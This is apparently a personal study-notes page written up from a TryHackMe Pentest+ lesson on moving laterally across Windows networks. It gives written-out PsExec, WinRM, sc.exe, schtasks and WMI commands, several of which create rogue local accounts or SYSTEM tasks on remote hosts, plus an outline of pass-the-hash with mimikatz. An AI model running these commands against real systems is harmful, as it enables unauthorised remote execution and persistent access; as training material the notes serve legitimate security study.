📞
Contrxl
External Links
Theoretical Learning
Theoretical Learning
  • 🏡Home
  • 📰News & Information
  • Systems Administration
    • ⌨️Cisco
      • Networking Basics
        • Communication in a Connected World
        • Network Components, Types and Connections
        • Wireless and Mobile Networks
        • Home Networking Technologies
        • Communication Protocols
        • Network Media
        • The Access Layer
        • The Internet Protocol
        • IPv4 and Network Segmentation
    • 🎓Learning Links
    • 💻Microsoft
      • AZ-900
        • 1. Cloud Concepts
          • 1.1 Describe Cloud Computing
            • 1.1.1 Introduction - Cloud Computing
            • 1.1.2 What is Cloud Computing?
            • 1.1.3 The Shared Responsibility Model
            • 1.1.4 Define Cloud Models
            • 1.1.5 Define the Consumption based Model
            • 1.1.6 Summary - Cloud Computing
          • 1.2 Describe the Benefits of Cloud Services
            • 1.2.1 Introduction - Cloud Services
            • 1.2.2 Benefits of High Availability and Scalability
            • 1.2.3 Benefits of Reliability and Predictability
            • 1.2.4 Benefits of Security and Governance
            • 1.2.5 Manageability in the Cloud
            • 1.2.6 Summary - Cloud Services
          • 1.3 Describe Cloud Service Types
            • 1.3.1 Introduction - Cloud Service Types
            • 1.3.2 Describe Infrastructure as a Service
            • 1.3.3 Describe Platform as a Service
            • 1.3.4 Describe Software as a Service
            • 1.3.5 Summary - Cloud Service Types
        • 2. Architecture
          • 2.1 Core Architectural Components
            • 2.1.1 Introduction - Core Architectural Components
            • 2.1.2 What is Microsoft Azure
            • 2.1.3 Get Started with Azure Accounts
            • 2.1.4 Explore the Learn Sandbox
            • 2.1.5 Describe Azure Physical Infrastructure
            • 2.1.6 Describe Azure Management Infrastructure
            • 2.1.7 Create an Azure Resource
            • 2.1.8 Summary
          • 2.2 Compute and Networking
            • 2.2.1 Introduction - Compute and Networking
            • 2.2.2 Describe Azure VMs
            • 2.2.3 Create an Azure VM
            • 2.2.4 Describe Azure Virtual Desktop
            • 2.2.5 Describe Azure Containers
            • 2.2.6 Describe Azure Functions
            • 2.2.7 Describe Application Hosting Options
            • 2.2.8 Describe Azure Virtual Networking
            • 2.2.9 Configure Network Access
            • 2.2.10 Describe Azure VPNs
            • 2.2.11 Describe Azure ExpressRoute
            • 2.2.12 Describe Azure DNS
            • 2.2.13 Summary - Compute and Networking
          • 2.3 Azure Storage Services
            • 2.3.1 Introduction - Storage Services
            • 2.3.2 Describe Azure Storage Accounts
            • 2.3.3 Describe Azure Storage Redundancy
            • 2.3.4 Describe Azure Storage Services
            • 2.3.5 Create a Storage Blob
            • 2.3.6 Identify Azure Data Migration Options
            • 2.3.7 Identify Azure File Movement Options
            • 2.3.8 Summary - Storage Services
        • 3. Management and Governance
          • 3.1 Cost Management
            • 3.1.1 Introduction - Cost Management
            • 3.1.2 Describe Factors that can Affect Costs in Azure
            • 3.1.3 Compare Pricing and TCO Calculators
            • 3.1.4 Estimate Workload Costs
            • 3.1.5 Compare Workload Costs with TCO
            • 3.1.6 Describe the Microsoft Cost Management Tool
            • 3.1.7 Describe the Purpose of Tags
            • 3.1.8 Summary - Cost Management
          • 3.2 Governance and Compliance
            • 3.2.1 Introduction - Compliance and Governance
            • 3.2.2 Describe the Purpose of Microsoft Purview
            • 3.2.3 Describe the Purpose of Azure Policy
            • 3.2.4 Describe the Purpose of Resource Locks
            • 3.2.5 Configure a Resource Lock
            • 3.2.6 Describe the Purpose of the Service Trust Portal
            • 3.2.7 Summary - Compliance and Governance
          • 3.3 Tools for Managing Azure Resources
            • 3.3.1 Introduction - Tools for Managing Azure Resources
            • 3.3.2 Describe Tools for Interacting with Azure
            • 3.3.3 Describe the Purpose of Azure Arc
            • 3.3.4 Describe ARM and Azure ARM Templates
            • 3.3.5 Summary - Tools for Managing Azure Resources
          • 3.4 Monitoring Tools
            • 3.4.1 Introduction - Monitoring Tools
            • 3.4.2 Describe the Purpose of Azure Advisor
            • 3.4.3 Describe Azure Service Health
            • 3.4.4 Describe Azure Monitor
    • 📘Microsoft Portal Links
  • Cybersecurity
    • ❓Anonymity Tools
    • 💡OSINT
      • IP & Domain OSINT
      • Email & Username OSINT
      • Vulnerability OSINT
    • 📚Projects
      • ‼️A Simulation Study of DDoS
  • 🦈Hacking
    • ☁️Cloud Attack Vectors
      • Credential Harvesting
      • Privilege Escalation
      • Account Takeover
      • Metadata Service Attacks
      • Misconfigured Cloud Assets
      • Resource Exhaustion and DoS
      • Cloud Malware Injection Attacks
      • Side-Channel Attacks
    • Maintaining Persistence
      • Reverse and Bind Shells
      • Command and Control (C2) Utilities
      • Scheduled Jobs, Tasks and Custom Daemons
    • 💻Network-Based Vulnerabilities
      • Windows Name Resolution and SMB
      • DNS Cache Poisoning
      • SNMP
      • SMTP
      • FTP
      • Pass-the-Hash
      • Kerberos and LDAP-Based Attacks
      • On-Path
      • Route Manipulation
      • DoS and DDoS
      • NAC Bypass
      • VLAN Hopping
      • DHCP Starvation/Rogue DHCP Server
    • Pivoting
      • Post-Exploitation Scanning
      • Legitimate Utilities and LotL
      • Privilege Escalation
    • Specialised System Vulnerabilities
      • Mobile Devices
      • Internet of Things Devices
      • Virtual Machines
      • Containerised Workloads
    • ⚒️Tools
      • Burp Suite
        • Repeater
        • Intruder
        • Other Modules
      • GoPhish
      • Hydra
      • John the Ripper
      • Metasploit
        • Exploitation
        • Meterpreter
      • NMAP
      • Wireshark
    • 🖥️TryHackMe
      • Complete Beginner
        • 1. Complete Beginner Intro
        • 2. Linux Fundamentals
        • 3. Introductory Networking
        • 3.1 Network Exploitation Basics
        • 4. OWASP Top 10 Exploits
        • 5. Upload Vulnerabilities
        • 5.1 An Example Methodology
        • 6. Cryptography - Hashing
        • 7. Cryptography - Encryption
        • 8. Active Directory Basics
        • 9. What the Shell?
        • 10. Linux Privesc
        • 11. More Linux Privesc
      • Jr Penetration Tester
        • Walking an Application
        • Content Discovery
        • Subdomain Enumeration
        • Authentication Bypass
        • IDOR
        • File Inclusion
        • SSRF
        • XSS (Cross-site Scripting)
        • Command Injection
        • SQL Injection
        • Passive Reconnaissance
        • Active Reconnaissance
        • Protocols and Servers
        • Protocol and Server Attacks
        • Vulnerabilities
        • Exploiting Vulnerabilities
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • CompTIA Pentest+
        • Planning and Scoping
          • Pentesting Fundamentals
          • Red Team Engagements
          • Governance and Regulation
        • Tools and Code Analysis
          • Metasploit: Introduction
          • Wireshark: The Basics
          • Burp Suite: The Basics
          • Hydra
          • Python Basics
        • Attacks and Exploits
          • Phishing
          • Windows Local Persistence
          • Breaching Active Directory
          • Lateral Movement & Pivoting
    • Web Application Vulnerabilities
      • The HTTP Protocol
      • Business Logic Flaws
      • Injection-Based Vulnerabilities
      • Authentication-Based Vulnerabilities
      • Authorisation-Based Vulnerabilities
      • Cross-Site Scripting (XSS)
      • Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery (SSRF)
      • Clickjacking
      • Security Misconfigurations
      • File Inclusion Vulnerabilities
      • Insecure Coding Practices
    • Wireless Vulnerabilities
      • Rogue Access Point/Evil Twin
      • Disassociation/Deauthentication
      • Preferred Network List Attack
      • Wireless Signal Jamming
      • War Driving
      • Initialization Vector (IV) and Insecure Wireless Protocol
      • KARMA
      • Fragmentation Attacks
      • Credential Harvesting
      • Bluejacking and Bluesnarfing
      • RFID Attacks
Powered by GitBook
On this page
  • Spawning Processes Remotely
  • Psexec
  • Remote Process Creation Using WinRM
  • Remotely Creating Services Using SC
  • Creating Scheduled Tasks Remotely
  • Connecting to WMI from PowerShell
  • Remote Process Creation Using WMI
  • Creating Services Remotely with WMI
  • Creating Scheduled Tasks Remotely with WMI
  • Installing MSI Packages Through WMI
  • Use of Alternate Authentication Material
  • Pass-the-Hash
  1. Hacking
  2. TryHackMe
  3. CompTIA Pentest+
  4. Attacks and Exploits

Lateral Movement & Pivoting

Common techniques used to move laterally across a Windows network.

Spawning Processes Remotely

Psexec

  • Ports: 445/TCP(SMB)

  • Required Group Memberships: Administrators

PSExec is the go-to for needing to execute a process remotely. PSExec is one of the Sys Internals tools. PSExec works as follows:

  1. Connect and upload the PSEXEC service executable (PSEXESVC.exe)

  2. Create and execute a service named PSEXESVC and associate this with C:\Windows\psexesvc.exe

  3. Create named pipes to handle stdin/stdout/stderr.

To run PSExec, the administrator credentials for the remote host and the command you wish to run are required.

Remote Process Creation Using WinRM

  • Ports: 5985/TCP(WinRM HTTP) or 5986(WinRM HTTPS)

  • Required Group Memberships: Remote Management Users

Windows Remote Management is a web-based protocol for sending PowerShell commands to hosts remotely, many Windows Server installations run this by default. The following command will connect to a remote Powershell session:

winrs.exe -u:Administrator -p:Password -r:target cmd

The same can be achieved with Powershell, however, to pass different credentials a PSCredential object will need to be created:

$username = 'Administrator'
$password = 'Password'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Enter-PSSession -Computername <TARGET> -Credential $credential

Invoke-Command -Computername <TARGET> -Credential $credential -ScriptBlock {whoami}

Remotely Creating Services Using SC

  • Ports: 135/TCP, 49152-65535/TCP (DCE/RPC) or 445/TCP (RPC over SMB Named Pipes) or 139/TCP (RPC over SMB Named Pipes)

  • Required Group Memberships: Administrators

Windows services can be used to run arbitrary commands, if a Windows service is configured to run an application, it will execute the application and fail afterwards. A service can be created on a remote host with sc.exe - a standard tool built into Windows.

When using sc, it will try to connect to the Service Control Manager (SVCCTL) remote service program through RPC in several ways:

  1. A connection attempt is made using DCE/RPC. The client connects to the Endpoint Mapper (EPM) on port 135 which catalogues available RPC endpoints and requests information on the SVCCTL program. The EPM then responds with the IP and port to connect to SVCCTL, normally a dynamic port in the range of 49152-65535.

  2. If the latter connection fails, it will try to reach SVCCTL via named SMB names pipes, on port 445 or 139.

The following commands would create a service called spooky:

sc.exe \\TARGET create Spooky binPath= "net user contrxl Pass /add" start= auto
sc.exe \\TARGET start Spooky

Once the service starts, the net user command will execute, to stop and delete the service:

sc.exe \\TARGET stop Spooky
sc.exe \\TARGET delete Spooky

Creating Scheduled Tasks Remotely

Scheduled Tasks can be created and run remotely using schtasks, to create a task named Spooky:

schtasks /s TARGET RU "SYSTEM" /create /tn "Spooky" /tr "cmd" /sc ONCE /sd 01/01/1970 /st 00:00

schtasks /s TARGET /run /TN "Spooky"

schtasks /s TARGET /TN "Spooky" /DELETE /F

Connecting to WMI from PowerShell

Before connecting to WMI (Windows Management Instrumentation) with PowerShell, a PSCredential object must be created with our username and password. This can be created as follows:

$username = 'Administrator';
$password = 'Password';
$securePassword = Convert-ToSecureString $password -AsPlainTet -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

A WMI session can be created using one of the following protocols:

  • DCOM: RPC over IP using port 135/TCP and ports 49152/65535/TCP

  • Wsman: WinRM for connecting using ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

To establish a WMI session from PowerShell, we use the following:

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-CimSession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

Remote Process Creation Using WMI

  • Ports: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986 (WinRM HTTPS)

  • Required Group Memberships: Administrators

A process can be remotely spawned from PowerShell by leveraging WMI, sending a WMI request to the Win32_Process class to spawn the process under the session we created before:

$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value contrxl";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create
-Arguments @{
CommandLine = $command
}

WMI won't let you see the output of any command and will create the required process silently, on legacy systems, this can be done from CMD with WMIC:

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

Creating Services Remotely with WMI

  • Ports: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

  • Required Group Memberships: Administrators

To create a service called "contrxl":

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "contrxl";
DisplayName = "contrxl";
PathName = "net user contrxl Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

Then, we can handle the service and start it using:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'contrxl'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

Finally, the service can be stopped and deleted with:

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

Creating Scheduled Tasks Remotely with WMI

  • Ports: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

  • Required Group Memberships: Administrators

To create and execute a scheduled task:

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user contrxl aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "contrxl"

And then to delete the task once done:

Unregister-ScheduledTask -CimSession $Session -TaskName "contrxl"

Installing MSI Packages Through WMI

  • Ports: 135/TCP, 49152-65535/TCP (DCERPC), 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

  • Required Group Memberships: Administrators

If an MSI package is copied to the target system, WMI can be used to attempt to install it using:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

This can be achieved on legacy systems with:

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

Use of Alternate Authentication Material

Alternate authentication material refers to a piece of data which can be used to access a Windows account without the password. This is possible because of how some Windows authentication protocols work like NTLM and Kerberos.

NTLM authentication works as follows:

  1. Client sends authentication request to the server they want to access

  2. Server generates a random number and sends it as a challenge to the client

  3. Client combines his NTLM password hash with challenge (and other known data) to generate a response to the challenge and sends it back to the server for verification.

  4. Server forwards both the challenge and response to the Domain Controller for verification

  5. Domain Controller uses the challenge to recalculate the response and compares it to the initial client request. If they match, the client is authenticated, otherwise access is denied.

  6. The server forwards the authentication result to the client.

Pass-the-Hash

When extracting credentials from a host where we have administrative privileges we may end up with non-cracked NTLM hashes. These can be used in a pass-the-hash attack to successfully authenticate without the actual password. Hash extraction can be performed using something like mimikatz to read the local SAM or extract hashes from LSASS.

Last updated 4 months ago

🦈
🖥️